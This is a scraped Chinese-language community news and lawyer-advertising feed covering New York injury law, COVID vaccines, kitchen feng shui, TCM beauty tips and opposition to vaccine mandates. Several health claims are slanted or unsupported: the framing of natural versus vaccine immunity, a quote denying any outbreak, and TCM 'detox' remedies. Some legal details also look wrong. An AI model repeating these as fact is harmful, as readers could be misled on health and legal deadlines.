《纽约民事实践法律与规则》第 241 条规定在纽约州提起人身伤害和场所责任索赔的诉讼时效为三年。该法律意味着,在纽约州遭受滑倒受伤的人要在事故发生三周年之前向过错方提起诉讼。有些情况要在少于一年零 90 天的时间提出投诉。这取决于该财产是私人拥有还是由城镇、城市、学区或公共机构拥有。如果该财产不是私人所有,您可能只有 90 天的时间向负责的政府实体或公共机构提交索赔通知。

纽约滑倒律师的法律费用

像大多数意外伤害律师一样,纽约市滑倒律师一般不需要任何前期法律费用来处理滑倒受伤的案件。纽约意外伤害律师接受免费咨询,等案件胜诉拿到补偿金后,再支付律师费。律师费一般为净赔偿的三分之一。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约意外伤害律师。

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2021-09-25 / by / in , ,
辉瑞申请授权 10月份为5至11岁儿童接种Covid新冠疫苗

辉瑞制药于9月20日宣布,将尽快获得监管部门批准,为年龄5到11岁的儿童接种Covid新冠疫苗。

辉瑞表示,已经对超过2,200名,5岁到11岁儿童进行了疫苗试验,并显示低剂量的疫苗在孩子体内产生大量抗体,观察到“强大的中和抗体反应”。疫苗对儿童安全有效。

辉瑞表示对5岁到11岁儿童进行了疫苗试验

美国监管部门将在接下来几周评审数据,并决定是否于10月份为低龄儿童接种新冠疫苗。同时,辉瑞也将在欧洲寻求授权,为低龄儿童接种新冠疫苗。辉瑞公司一名发言人表示,公司将在稍后详细公布疫苗试验的有效性。但目前,参与试验者中还没有出现新冠病例。

之前,对成人进行的较大规模临床试验的方法,是通过比较疫苗接种者和安慰剂接种者之间,出现新冠病例数量来衡量疫苗的有效性。而这次儿童组的试验,是通过比较儿童组与较高年龄组,接种疫苗后产生的中和抗体数量。

辉瑞制药及BioNTech表示,基于目前Delta变种病毒在美国儿科病例急剧增多,因此向更年幼者接种疫苗是公共卫生需求。

辉瑞最新疫苗研究,共有 2,268名年龄介于5岁到11岁之间的儿童,参加疫苗试验。这些儿童接种2剂低剂量疫苗,接种的剂量为12岁以上者三分之一。

在20日的发布会上,辉瑞表示,2剂疫苗后,孩子们产生的抗体水平与少年组和青年组的人相当。产生的临时性副作用——例如手臂酸痛、发烧或疼痛,也与青少年组相似。

示意图:共有 2,268名年龄介于5岁到11岁之间的儿童参加辉瑞疫苗试验

对此,英国的《每日邮报》表示,该研究不足以检测接种者中出现的罕见的副作用,例如,出现率不到万分之一的心脏炎症。这种病例,通常在2剂疫苗后出现概率更高。

英国科学界在为健康儿童接种 Covid 疫苗方面存在分歧。反对者认为,这种病毒对儿童构成的危险非常低。

伦敦大奥蒙德街医院(London’s Great Ormond Street Hospital)的儿科医生顾问Dr David Elliman说,他“无法想象”,英国将批准给小学儿童接种这种疫苗。

辉瑞及BioNTech,目前在为6个月大的婴儿进行疫苗试验,并预计在年底之前公布疫苗对6个月到5岁幼儿的试验结果。《每日邮报》表示,此举可能会引起国际争议。

2021-09-23 / by / in , , , ,
美国华人买房装修厨房风水12大禁忌|美国买房装修厨房颜色风水详解|装修厨房颜色风水禁忌

美国华人买房装修对风水很注重,厨房的风水好坏直接关系到家人的运势。装修厨房风水禁忌有哪些呢?装修厨房颜色风水禁忌有哪些?

美国华人买房装修厨房颜色风水详解

一:白色

美国华人买房家居装修中,厨房多选用白色来装饰,能给人以洁净卫生之感。从风水五行中看,白色属金,而厨房属火,金能耗火能够有效化解厨房的火燥之气。

美国华人买房装修厨房颜色风水详解 示意图

二:黑色

黑色是比较庄重与深沉的颜色,在风水五行中,黑色属水,但厨房却属火,将黑色的水和红色的火组合在一起。这里两者相克,会形成水火不相容之势,却非常不利于财气汇聚的。所以在厨房的装修和厨房家具选用时,不建议选择黑色。

三:蓝色

蓝色五行虽然为水,但由于蓝色自有一种恬静淡然的气质,所以这个水并不像黑色那么沉重,是比较清凉舒爽的一种颜色。风水上称之为小水。这样的风水和厨房的火气自然构成了水火忌,祭之相反而对家中人的运势大有帮助。

美国华人买房装修厨房颜色风水详解 示意图

五:绿色

绿色五行为木,木能生火会加重厨房的火气。从本质上来说,绿色不太适合厨房使用。尤其是深绿色,跟厨房的火性相冲,用之无异于火上浇油。不过淡绿色属于冷色调,有金水的成分,倒是不太忌讳的。

四:红色

从五行来看厨房的炉灶属火,而红色也是属火。因此厨房很忌讳以红色为主。尤其是大红色,会导致燥火太旺,有火炎土燥的现象,容易引起家庭纠纷。如果是在炎热的夏天,以红色为主的厨房,也会让人心火旺盛,家宅难安。

美国华人买房装修厨房颜色风水详解 示意图

六:黄色

随着现代人审美的多元化发展,很多的人喜欢用黄色来装修厨房。黄色五行属土,火能生土,相互转换,能够综合厨房中的水火能量,使之达到平衡。此外,黄色也代表着财富和运势。黄色旺了财运,自然一通百通。

美国华人买房装修厨房颜色风水详解 示意图

总而言之,厨房装修和厨房家具选用,最忌讳使用像大红色、深黑色、深绿色等一些较深沉的颜色,其他一些浅色的颜色倒是没什么忌讳。可以放心选用。

美国华人买房装修厨房风水禁忌

美国买房装修厨房风水禁忌一:厨房在屋子的中间

厨房是不适合在房子的正中央。 因为气和能量都是累积在房子的中间,然后慢慢的散发到其他地方。如果厨房在家的中间, 不但会导致气场不稳定,而且还会影响家人的身体健康。

美国买房装修厨房风水禁忌二:炉灶紧邻水槽

炉灶属火,是烹饪食物的所在,水槽属水,是清洗物品的所在,两者紧靠,造成水火相克。不免家人之间会上演水火不容的失和气氛,影响心情和健康,财务亦是动荡不安。 所以在设计以及装修之前要注意,别把水槽摆在炉具前面和旁边,最好是L型的。 设计就可以避免水火相冲,或者把洗手盆安排离开灶头三尺的距离。也可以在洗手盆和灶头之间摆放植物。 这样就会水生木,木生火,气场就会稳定很多。

炉灶紧邻水槽

美国买房装修厨房风水禁忌三:炉灶上有横梁压

灶台不可在横梁之下,气是古代很重要的哲学观念,指人类看不到摸不到的感觉。气弥漫在空气之中,有形中有气,无形中也有气。因此瓦斯炉在使用时自然也会释放出一股热气。倘若瓦斯炉的上方有横梁会造成气压,在遇到热气会让磁场变得不稳定,影响煮饭人的心情及健康。横梁在灶头上面会长期受到煞气的影响。 解决方法,只有避开横梁或者是安装石膏天花板, 把横梁遮起来。

美国买房装修厨房风水禁忌四:冰箱、米缸不宜空空如也

冰箱、米缸不空空如也,米缸也要随时补满。因为这两样物品与衣食紧紧相关,补满这两样则象征家中衣食无余。巧妙避开以上这些风水禁忌,才可促进厨房风水的和谐,令一家人幸福。

冰箱、米缸不宜空空如也 示意图

美国买房装修厨房风水禁忌五:炉灶不宜过于接近厨房门

炉灶不能过于接近厨房门,炉灶与厨房门至少要有二公尺以上的距离,尽量避免悬空。炉灶不能背靠窗户,也不能放在阳台上,倘若炉灶后空旷就会有风。 影响火势对家里财运不利。 巧妙避开以上这些,才可促进厨房风水的和谐,令一家人幸福。

美国买房装修厨房风水禁忌六:抽油烟机与炉灶间有窗户

一般人认为在抽油烟机与瓦斯炉之间开窗户可以帮助油烟排出,但若从风水角度来看,刚好形成泄气的格局,会把家中的财路与财气往外泄出,形成左手进右手出的过路财神。

抽油烟机与炉灶间有窗户 示意图

美国买房装修厨房风水禁忌七:厨房的地面不宜高于其他房间的地面

厨房的地面不能高于其他房间的地台,这样可以防止污水倒流,其次是由于主次有别,厨房不可凌驾于厅房之上; 再次从厨房入厅奉食,应步步高升。 反之,则有退财之余,若要如此设计,也要在厨房的门上加上一道门槛。

美国买房装修厨房风水禁忌八:厨房门不可正对大门

古籍《阳宅三要》指出开门见灶,钱财多耗。此格局将使女主人健康有损。并且家中难聚财,运气反复,倘若遇到这样的格局,唯一的避免方法是改门,厨房餐桌不可正对大门。若真的无法避免,可利用屏风挡件,以避免视觉过于通透。厨房天花板不宜有梁柱,若建筑物的结构无法变动,则可在梁柱下悬葫芦岛,避免它直接压到餐桌。

厨房门不可正对大门 示意图

美国买房装修厨房风水禁忌九:厨房不宜悬挂镜子

厨房悬挂镜子的禁忌之一,就是镜子不能照到炉火,镜子若悬挂在炉子后面的墙上,而照到锅中的食物伤害更大。此谓之天门火,会使住宅遭受火灾或不幸。

美国买房装修厨房风水禁忌十:厨房不宜悬挂刀具

厨房中的各种菜刀或水果刀不应悬挂在墙上或插在刀架上。应该放入抽屉,收好厨房内也不应悬挂蒜头、洋葱、辣椒,因为这些东西会吸收阴气。在厨房的布局中,刀具一般也不宜安置在炉灶的隔壁。可以安置在水龙头的附近,因为家中的刀具一般都是凶气重的,刀具不能悬空挂,悬空挂的刀具好比砍刀,意味家中有重大不幸事件发生,且不能挂在墙壁上。

厨房不宜悬挂刀具 示意图

美国买房装修厨房风水禁忌十一:厨房与厕所不宜相连

现代住宅中,为了设计的方便及节省空间,不少家庭都会将厨房及厕所相连在一起。很不吉利。更有甚者先进厕所再进厨房则口腹之欲,绝对荡无存。在风水学上是不吉利的,会引致一家人的身体多疾;炉灶的火口也不宜对着厕所,是要向吉方的,简单的说是指炉灶是吸纳旺气及吉气的。如果吸纳的是不干净的东西,会是两种后果:一会破财;二会令病痛增多。

美国买房装修厨房风水禁忌十二:炉灶后面不宜是厕所

在设计炉灶位置时,必须要避免灶头墙后是厕所,这种格局会造成健康的问题,会被厕所的秽气影响。 也有一些案例,因为装修扩张厨房,原本厕所的秽气是排到屋外的,但是因为把后面围了起来。 没有考量到厕所排出来的秽气,导致秽气排放到厨房里面,这是非常不好的格局。

 

 

 

2021-09-23 / by / in , , , , ,
【金牌推荐】2021最佳纽约意外伤害律师|纽约工伤律师/纽约车祸律师

如果您在美国纽约遭遇到医疗事故、跌倒滑伤、车祸、建筑工地受伤、或是受到警察粗鲁对待而受伤,这些都是属于意外伤害。在这时如果能够找到高度专业、经验丰富的意外伤害律师至关重要,可以帮助受害人避免与保险公司在赔偿问题上纠缠,并为客户争取到最大的利益。

金牌资讯网对为数众多的纽约意外伤害律师进行评比、推荐给大家几位获得同行高度认可、优秀的具有专业成就的纽约意外伤害律师。

最佳纽约意外伤害律师–威廉律师事务所

华语专线: 917-428-5152
总部地址: 4340 162nd St, 2Fl., Flushing, NY 11358
官方网站:https://www.jwlawofficeny.com/
微信: elainelawoffice
微信公众号: YiWaiShangHai
办公室: 718-361-8080

纽约威廉律师事务所,专精纽约车祸受伤、建筑工地受伤、医疗事故、跌倒滑伤等意外伤害快速索赔。

40年余来,威廉律师事务所首席律师杰瑞威廉一直帮助遭受意外伤害的客户索赔,有非常丰富的经验。威廉律师提醒华人,意外伤害案件涉及到律师、医生等多个环节,所以一定要找经验丰富、有责任心、更专业的律师,才不会被耽误,可以更快索赔。

凡是威廉律师事务所代理的客户,律师都会亲自到伤害现场调查取证,并请相关领域的专家作证,以最细致的工作帮助当事人成功索赔。

法律援助微信号:

💰 先服务, 后收费 – 根据赔偿金额收取, 若没有获得赔偿, 威廉律师楼承诺分文不取;

🎓 有专业经验的律师团队 – 威廉律师楼聘请多名丰富经验的犹太超级大律师;

🌐 语言无障碍,国粤语多语言 – 8位会讲国语,广东话,福建话,温州话和台语的有优秀的律师助理组成。

纽约威廉律师事务所,专精纽约车祸受伤、建筑工地受伤、医疗事故、跌倒滑伤等意外伤害快速索赔。

  • 最佳纽约意外伤害律师 桑德斯与金律师事务所(Sanders&Kim)

对于不同类型的人身伤害案件,纽约意外伤害律师事务所,桑德斯与金律师事务所(Sanders&Kim)经验丰富的人身伤害律师擅长处理多种不同类型的索赔。

推荐最佳纽约意外伤害律师|纽约工伤律师/纽约车祸律师 桑德斯与金律师事务所 10 08

桑德斯律师事务所(Sanders Law Firm)是纽约最知名的律师事务所之一,专精意外伤害诉讼索赔,拥有超过50年历史,超过40个经验丰富的律师、80余个工作人员。高达数千个索赔成功案例。在过去5年的时间里,桑德斯律师事务所为客户索赔的金额超过1亿美元。

电话:646-808-7375(中文、英文、韩文服务)

纽约意外伤害赔偿律师646-808-7375车祸律师/工伤律师/工伤赔偿

  • 最佳纽约意外伤害律师 盖茨诺律师事务所

纽约意外伤害律师事务所,盖茨诺律师事务所(Law Office of Giacchino J. Russo & Associates, P.C.)是大纽约地区一家在处理车祸赔偿、意外伤害赔偿方面经验非常丰富的律师事务所。盖茨诺律师事务所在法拉盛、布鲁克林都有办公室。

专业代理:

  • 车祸/交通事故:汽车、摩托车、火车、地铁事故
  • 误医误诊、医疗事故
  • 建筑工地意外受伤
  • 工伤:上班工作时受伤、烧伤烫伤,劳工保险
  • 各类滑倒跌伤、人行道受伤
  • 意外死亡

电话:718-751-5002

纽约意外伤害律师谈:五招让您索赔胜数大赔得多 (718-751-5002, 646-801-8829)

  • 最佳纽约意外伤害律师 史蒂文律师楼Steven Louros ,ESQ

座落在曼哈顿先锋广场的纽约意外伤害律师事务所史帝文律师楼(Steven Louros,ESQ),专攻华人意外伤害的赔偿诉讼,以30多年丰富的经验和专业水平,专门处理各类的医疗事故、交通意外、建筑事故、电梯意外、冰上滑倒、烧伤烫伤、脑部受伤、狗咬、绊倒摔伤和意外致死等案例。策略周详及专业的律师团队,凭着坚持不懈的精神,为客户争取法律权益和合理的赔偿。提供免费咨询,不成功、不收费,精通国、粤、福州话、台山话及韩语。

电话:212-481-5275

史蒂文律师楼Steven Louros ,ESQ(Tel:212-481-5275 Fax:212-481-3472)

  • 最佳纽约意外伤害律师 萨克丁&李联合律师楼

纽约意外伤害律师事务所,萨克丁&李联合律师楼(Sackstein Sackstein&Lee, LLP)专注意外伤害案件,在长岛、法拉盛、布碌仑、布朗士都设有办公室,几十年来一直为纽约各族裔服务,帮助遭遇车祸、建筑事故、工伤事故、滑倒等意外 伤害的人索赔,律师楼资深律师从1952年开始执业,在意外伤害领域已经有62年经验。

电话:718-539-3100

萨克丁&李联合律师楼 718-539-3100

  • 最佳纽约意外伤害律师 强纳森•莱特律师事务所 

美国纽约意外伤害律师事务所,强纳森•莱特(Jonathan C. Reiter)律师,曾成功为医疗事故受害人索赔到2,290万美元,该案被ALM Verdict Search 列入2014年美国前十大医疗事故赔偿案之一。

24小时免费专线:212-736-0919

萊特律師樓 (646-886-6258) :紐約醫療誤診及重大意外傷害律師 Jonathan C. Reiter Law Firm PLLC

  • 最佳纽约意外伤害律师 高术仁律师国际事务所

美国纽约意外伤害律师事务所高术仁律师本人亲自为这些受害者获取了超过1亿美金的赔偿。高术仁律师在广大纽约犹太律师中有“车祸赔偿专家”的着称。高律师身后有着强大的意外伤害案件中文服务团队和律师团,为广大华人群众意外伤害案件提供便利。

推荐最佳纽约意外伤害律师|纽约工伤律师/纽约车祸律师 高术仁律师国际事务所,高术仁律师 10 08

作为一个纽约意外伤害律师,尤其是车祸律师,高术仁律师赢得的意外伤害案件很多高额判决被刊登在著名刊物中,包括《纽约杂志》(New York Magazines Top Verdicts and Settlements),《纽约时报》(The New York Times)和《纽约判决检索》(Verdict Search New York)等著名刊物。

高术仁律师事务所专业受理各种意外受伤死亡案件:包括车祸,工伤索赔,摔伤滑倒,医疗事故,等意外伤害案件的资深纽约律师事务所。

电话:(646) 632-7060

高术仁律师国际事务所 (646) 632-7060

  • 最佳纽约意外伤害律师 余用律师

美国纽约意外伤害律师事务所,余用律师楼,服务华裔社区多年,亲自处理客人案件,成功率高,深知如何为侨胞争取最大的权益保障或赔偿。提供24小时中文咨询服务,不成功不收费。

专业办理:重大人身伤害、汽车事故、建筑工地意外事故等等方面的案件。

免费咨询电话:888-571-1666

余用律师楼(余用律师楼 ALLEN YI, ESQ)

  • 最佳纽约意外伤害律师 凯撒、刘瑛律师

凯撒刘瑛律师楼于2005年建立纽约律师事务所,刘瑛(Ying Liu)&凯撒律师(Carolyn Shields)是重要的合伙人,拥有丰富美国和中国法律经验,律师事务所服务周到;美国中国社区的个人和企业需要关心的法律事务和优质高效服务。

电话: 201-564-0807

凯撒刘瑛律师楼 201-564-0807/纽约律师/美国知名律师事务所

以上最佳纽约意外伤害律师排名不分先后。

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2021-09-22 / by / in , ,
中医养颜去皱纹 只需做对几件事

身边总是有些人,他们看起来要比实际年龄年轻很多。除了遗传的因素、心态的因素,还有没有什么办法让自己看起来年轻气色好呢?

台北上玺中医诊所院长余雅雯在接受《大纪元》采访时,介绍了从三个方面保持肌肤年轻态的办法:

第一 睡眠时间

要想避免肤色发暗、斑点和白发等,这些让外表看起来衰老的症状,睡眠非常重要。睡眠不仅仅指睡眠时间充分,睡觉的时间点更重要。

晚上11点到凌晨1点是胆经解毒时间,凌晨1点到3点为肝经排毒时间,这两时段最适合睡觉休养身体。当胆经、肝经能好好解毒,身体就不易累积废物,肝系统状况好能避免肾虚。

肤色暗淡、白发等的表现,其实与脾胃功能弱和肾气虚有关。

养成良好的生活习惯,每天晚上11点前让身体开始休息,有利于排毒养肾,表现在外表上,皮肤和头发水分充分有光泽,看起来年轻有活力。

晚上11点前开始休息有利于排毒养肾

第二 饮食时间

中医讲:五谷为养,五果为助。五谷杂粮是养生的根本。五谷入脾经,脾主肌肉,有了五谷的滋养,才会有好的气色。所以,不吃五谷杂粮会对脾胃功能产生负面影响,脾虚会令肌肉松弛、产生皱纹。

良好的饮食习惯对皮肤保养很重要,包括好的饮食内容以及用餐时间。

比如,要少吃刺激性食物、加工食物、甜点和冰饮。这些食物会对身体造成负担,影响代谢。皮肤的代谢周期是28天,一旦代谢变慢、周期变长,就容易角质堆积,使得皮肤暗沉。主食以五谷为主,比如余雅雯自己就经常以米饭为主食。

有了五谷的滋养 才会有好的气色

此外,对脾胃、肾和心血管有益的食物还包括黄色、黑色和红色食物。

胡萝卜富含维生素A,草莓富含维生素C,黑芝麻有丰富的维生素E,这些食物都对皮肤表皮的修复和再生有益。

除了食物的内容,三餐时间也要顺应人体的生理时钟:

早餐:上午7点到9点,这个时间是胃经运行时间,就可以启动胃经能量,增加代谢。

午餐:中午11点到1点,这个时候是走心经;下午1点到3点是小肠经当值。所以,这两个时段最适合吃午餐。

晚餐:傍晚5点到7点,是肾经运行时间,是晚餐适合的时间。

第三 养颜穴位

中医认为按摩穴位可以疏通经络,气血运行不受阻,人体就会健康,皮肤机能得到促进,起到了护肤美颜的效果。这种方法简单又经济,平时在家自己就可以做到。

那么哪些穴位可以改善皮肤气色呢?

  • 按摩手脚的合谷穴,足三里穴,让气血旺盛

    按摩手的合谷穴 让气血旺盛

按摩足三里穴,帮助气血旺盛

  • 眼周穴位,改善眼部皱纹,使双眼明亮有神。

眼部穴位可以用按压的方式,没有顺序要求,比较随意。可以让眼部皮肤紧致,显得年轻。

眼部周围的穴位有:睛明穴、攒竹穴、鱼腰穴、丝竹空穴、瞳子髎穴、四白穴、太阳穴等。

眼部周围的穴位有睛明穴、攒竹穴、鱼腰穴、丝竹空穴、瞳子髎穴、四白穴、太阳穴等。

  • 苹果肌穴位,改善法令纹,避免脸部肌肉松弛和下垂。

这些穴位包括承泣穴、四白穴、巨髎穴。它们位于胃经上。按摩这些穴位可以帮助肠胃对营养的吸收和代谢,让脸部肌肤健康有光泽。

    按摩脸部穴位:承泣穴、四白穴、巨髎穴,帮助脸部肌肤健康
  • 嘴角穴位,预防脸部长斑和痘痘。

按摩嘴角部位预防长斑和痘痘

嘴角附近是大肠经通过的地方,按摩承浆穴和地仓穴,帮助排出体内毒素,皮肤就不会长斑和痘痘了。

中华传统文化讲究“天人合一”,人体的作息时间及饮食能够顺应自然规律,人体气血通畅,看起来自然就会年轻、充满活力。

2021-09-22 / by / in ,
以色列疫苗接种率全球最高 为什么染疫率全球第一

以色列疫苗接种率居世界首位,根据疫情数据显示,以色列染疫率在9月4日这一周却达到全球首位。这一现象引发全球关注。

今年6月以来的Delta变体成为以色列主要的病毒株广泛传播。虽然到8月底,以色列78% 的12 岁及以上的人群都接种了疫苗,但疫苗的防护力对变体病毒似乎效果有限。到9月4日这一周,Our World in Data网站显示,以色列每百万人口的感染人数达到1051,位居全球第一。以色列研究人员着手进行了一项研究,研究报告于8月25日发布在medrxiv.org预印平台。

以色列疫苗接种率居世界首位

天然免疫力和疫苗产生的免疫力哪个更强大?

以色列马卡比医疗集团(Maccabi Healthcare Services, MHS)和特拉维夫大学(Tel Aviv University)的研究人员,跟踪观察从今年6月1日到8月14日,80万16岁以上以色列民众的健康状况。

以色列研究人员分析以色列民众感染风险

调查人员做了三组比对分析,并分别研究了病毒感染、症状性感染和重症的情况:

第一组:1月- 2月接种2剂疫苗,比对 1月- 2月感染新冠但没有接种疫苗者;

第二组:1月- 2月接种2剂疫苗, 比对2020年到今年2月感染新冠但没有接种疫苗;

第三组:自然感染后再打一剂疫苗,比对感染新冠但没有接种疫苗。

研究结果令科学家感到吃惊。

1月- 2月接种2剂疫苗,比对1月- 2月感染新冠但没有接种疫苗者

通过对接种疫苗者和感染过新冠者的数据分析,以色列科学家发现:

  • 打2剂疫苗者,突破性感染Delta变种的风险,是自然感染者的13.06倍。
  • 其中,出现发烧、咳嗽等症状的,打2剂疫苗者,是自然感染的27.02倍。
  • 出现重症的风险,打2剂疫苗的人,是自然感染者的8.06倍。

自然感染是指没有接种疫苗,但感染过新冠病毒。这些人体内会自然产生抗体。

研究人员对比疫苗接种和自然感染人群的统计结果

1月- 2月接种2剂疫苗, 比对2020年到今年2月感染新冠但没有接种疫苗

  • 打2剂疫苗者,突破性感染Delta变种的风险,是更早时间自然感染者的5.96倍。
  • 有症状感染的风险,打2剂疫苗者是自然感染的7.13倍。
  • 其中重症住院者中,完全接种疫苗者是曾经染疫者的7.03倍。

自然感染人群免疫力经过长时间消减依然优于疫苗

通过统计数据可以发现,更早时间自然感染者,虽然经过了较长时间,差不多一年的免疫力消退,但相比疫苗产生的免疫力,对抗Delta变体的保护能力还是要强大约7倍。

自然感染的人,再打一剂疫苗

科学家研究的第三组人,就是自然感染后又打一剂疫苗的人。统计数据发现,这群人再次感染Delta的风险下降了近2倍。

对此,美国病毒学专家、前美国陆军研究所病毒系实验室主任林晓旭博士表示,之前自然感染的人群,身体免疫系统接触到的是完整、真实的病毒,因而产生的免疫力是一个广谱的保护力,有能力应对不同的变种。

自然感染和疫苗产生的免疫力区别在哪里?

自然感染或打疫苗产生的免疫力,都会随着时间的推移慢慢消退。通过以色列的统计数据,我们发现2020年自然感染的人群,他们体内的抗体对Delta病毒的抵抗力,却依然超过今年1月 – 2月接种疫苗的人群。

这是因为疫苗的设计相当于仿真病毒的某个部位,产生的免疫力有局限性。一旦有新的变种病毒,保护力就会有明显下降。

自然感染的人,身体免疫系统接触到的是完整的病毒,因而产生的免疫力是一个广谱的保护力,就有能力应对不同的变种。

专家表示,这项研究的目的是让人们了解,其实人体自然的免疫力非常强大。人们应该对自己的免疫系统充满信心。

通过疫苗产生的抗体,只是强大人体免疫系统的小小一部分。林晓旭博士表示,衡量人体的免疫力,不仅仅是看抗体数量。“人体自然免疫力其实可以说是人体精妙体系的一个充分的体现。人体要应对外来的攻击绝对不只是一个手段。”

2021-09-18 / by / in , , ,
纽约强推疫苗护照受抵制 商家:宁愿被罚,不要求顾客出示疫苗证明

纽约是全美第一个要求强制接种新冠病毒(COVID-19)疫苗的城市。从本周一(9月13日)开始,纽约市府要求,市民进入餐馆、健身房和影院等场所,必须要出示疫苗接种证明,未执行规定的商家会被罚款。然而,这项措施受到部分商家的抵制,有商家表示,宁被罚款,也不愿要求顾客出示疫苗接种证明。

位于皇后区新鲜草原(Fresh Meadows)的一家小商家没有要求客户出示疫苗接种证明。这位业主说:“我的立场非常坚决。”“如果我必须搬到另一个州重新开张,我也会这么做。”

她表示,没有疫情爆发。她说:“爆发的是媒体(新闻炒作),爆发的是恐惧。”

8月15日,纽约反对疫苗接种证明强制令的集会现场。 (The Epoch Times)

8月15日,纽约反对疫苗接种证明强制令的集会现场。 (The Epoch Times)

8月25日,纽约市民集会抗议强制接种疫苗。 (The Epoch Times)

这些信念促使她决定无视市府的强制规定。她说:“如果你选择接种疫苗,那是你的选择,(但是)我们都应该可以自由选择。”

在过去的几周里,纽约全市范围内无视疫苗规定的商家的橱窗里都出现了反歧视的迹象。他们写道:“我们不会基于性别、种族、信仰、年龄、接种疫苗或未接种疫苗来歧视任何客户。”同样的图片也出现在小型企业的Instagram网页上面,通常与#freedom(自由)和#fightforyourrights(为你的权利而战)标签一起出现。

纽约市府对违反疫苗规定的商家会处以罚款,初次违反规定罚款1,000美元,第二次违反规定罚2,000美元,第三次以后罚款都是5,000美元。

相比较而言,佛罗里达州与纽约形成了鲜明的对比。佛州严厉处罚强制疫苗接种的行为。

佛罗里达州州长罗恩‧德桑蒂斯(Ron DeSantis)周一(9月13日)表示,为了“捍卫自由”,该州将对任何强制要求其雇员接种COVID-19疫苗的地方政府处以罚款,有的甚至可能高达数百万美元。

美国佛州州长德桑蒂斯反对强制接种疫苗。他强调,疫苗“人人可用,但对任何人都不是强制性的”。图为佛州州长德桑蒂斯资料照(Public Domain)

德桑蒂斯强调,疫苗“人人可用,但对任何人都不是强制性的”。他的评论基于他在5月份签署的“SB 2006”法案。该法案规定,禁止该州的企业和地方政府在为人们提供服务时,要求人们证明自己已经接种了疫苗或已经从COVID-19感染中康复。

德桑蒂斯表示。“如果佛罗里达州的一个政府机构强制将疫苗作为就业条件,这违反了佛罗里达州的法律,你将因每一项违规行为而面临5000美元的罚款。”

2021-09-18 / by / in , , , , ,
纽约医疗事故怎样索赔|美国最常见的医疗事故 纽约意外伤害赔偿 纽约医疗事故律师

多年来,医疗事故案件越来越多,医疗事故已经成为了美国第三大死因,这使得人们对医生的信任感越来越低。纽约医疗事故律师指出,根据美国国家医生数据库(NPDB)的数据,从2009年至2018年间,纽约州的医疗事故报告数量为16,688 起,是全美国医疗事故最多的州。

什么是美国医疗事故诉讼?

美国纽约意外伤害律师指出,当医生(或其他医疗专业人员)未能胜任履行其医疗职责而对患者造成伤害时,就会发生医疗事故。任何受伤的患者都可以向有执照的医疗保健提供者提起医疗事故案件诉讼。这包括普通医生,但也包括护士、物理治疗师和心理保健专业人员。

医疗事故案件通常涉及医疗伤害的受害者起诉医疗专业人员。在某些情况下,法院可能会认定受害人对自己的伤害负有部分责任,而且法院认为,并非在每次治疗得到坏的结果时,都是医疗事故。纽约法律包括“纯粹的比较疏忽”规则。简而言之,这减少了根据您应承担的责任比例而判给的损害赔偿金额。例如,如果您有 50% 的过错,您的赔偿金将减少 50%。

这意味着受害者有必要拥有一位优秀的纽约医疗事故律师,以确保自己的权益。

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4种美国最常见的医疗事故索赔类型

  • 误诊导致的医疗事故

当医生未能诊断或延迟做出正确诊断时,患者可能得不到能改善病情的治疗。在其他情况下,患者可能被误诊为错误的疾病。

纽约医疗事故律师指出,误诊是美国最常见的医疗事故类型。有统计数据显示,在2013年至2017年间,误诊占美国医疗事故案件的33%。

  • 用药错误导致的医疗事故

纽约医疗事故律师表示,用药错误也是一种很常见的医疗事故。如果医生或药剂师开出错误类型或剂量的药物,可能会让患者受到伤害。如果患者错误地接受另一位患者的药物,也会发生用药错误。

  • 手术失误导致的医疗事故

手术非常普遍,纽约医疗事故律师表示,在美国每年大约有2800万次手术。虽然大多数外科手术进行顺利,但当医生在手术过程中出错时,患者可能会遭受严重或无法弥补的伤害。

手术失误有多种形式。例如,如果医生在手术中将各种手术器械或海绵遗留在患者体内,患者可能会经历疼痛,残疾或永久性损害。如果手术医生在患者身体错误部位开刀,或者在“错误部位手术”中摘除身体内不该被摘除的组织,患者也会遭受严重的伤害。

还有,当麻醉师给出错误类型或剂量的药物时,患者也会受伤。

  • 分娩时的医疗事故

分娩损伤有多种形式,从孩子出生时的骨折和神经损伤,到由分娩延迟引起的创伤性脑损伤等等。

纽约意外伤害律师指出,当孩子遭受分娩伤害时,父母可以针对有疏忽行为的医生提出索赔。 父母应获得足够的赔偿金,以支付孩子的医疗费用,这非常重要,因为住院时间有时会比预期的更长。

纽约医疗事故律师表示,用药错误是一种很常见的医疗事故。如果受害人请到优秀的医疗事故律师,将有可能获得更高额赔偿金。示意图。(Pixabay)

三种类型的纽约医疗事故索赔

纽约州法律承认医疗事故案件的三种主要损害赔偿类型。

  • 补偿性赔偿

补偿性损害赔偿涉及对医疗事故受害者的工资损失或医疗费用等方面的赔偿。

  • 精神赔偿

非经济损害赔偿受害者精神上的痛苦。

  • 惩罚性赔偿

在受害者表明医生或医疗专业人员有鲁莽行事的情况,法院会判给惩罚性赔偿。

相关阅读:在美国纽约工作受伤怎样索赔?

纽约医疗事故赔偿设有上限吗?

在全美国35 个州设有医疗事故赔偿金的上限。例如,在加州,赢得医疗事故诉讼的原告,最多能获得 250,000 美元的非经济损失赔偿。

纽约州法律没有设这类医疗事故赔偿金的上限。个案件发生的事实、环境、遭受伤害的程度以及案件责任人等多方面因素都会影响赔偿金额。

如果受害人请到优秀的纽约医疗事故律师,将更有可能获得高额赔偿。

纽约医疗事故赔偿的诉讼时效

纽约法律规定,对医疗、牙科或儿科医疗事故的受害者,必须在医疗事故发生的两年半(30个月)内,提起民事诉讼,要求赔偿。

有一个主要的例外情况。医生和护士经常需要使用各种手术器械、海绵、夹子、垫子、各种管子和其它物品。如果医务人员意外地将这类物品留在患者体内,而将手术切口缝合,就留下了“手术遗留物品”。

这种情况不受纽约医疗事故赔偿诉讼时效的限制。这些案件可以在发现异物后一年内提起医疗事故赔偿。这被纽约医疗事故律师称为“发现”规则。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约意外伤害律师。


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史蒂文律师楼Steven Louros ,ESQ(Tel:212-481-5275 Fax:212-481-3472)

萨克丁&李联合律师楼 718-539-3100

萊特律師樓 (646-886-6258) :紐約醫療誤診及重大意外傷害律師 Jonathan C. Reiter Law Firm PLLC

余用律师楼(余用律师楼 ALLEN YI, ESQ)

2021-09-17 / by / in , ,
没有健康保险可以免费看医生 纽约关怀计划NYC Care提供医疗保障

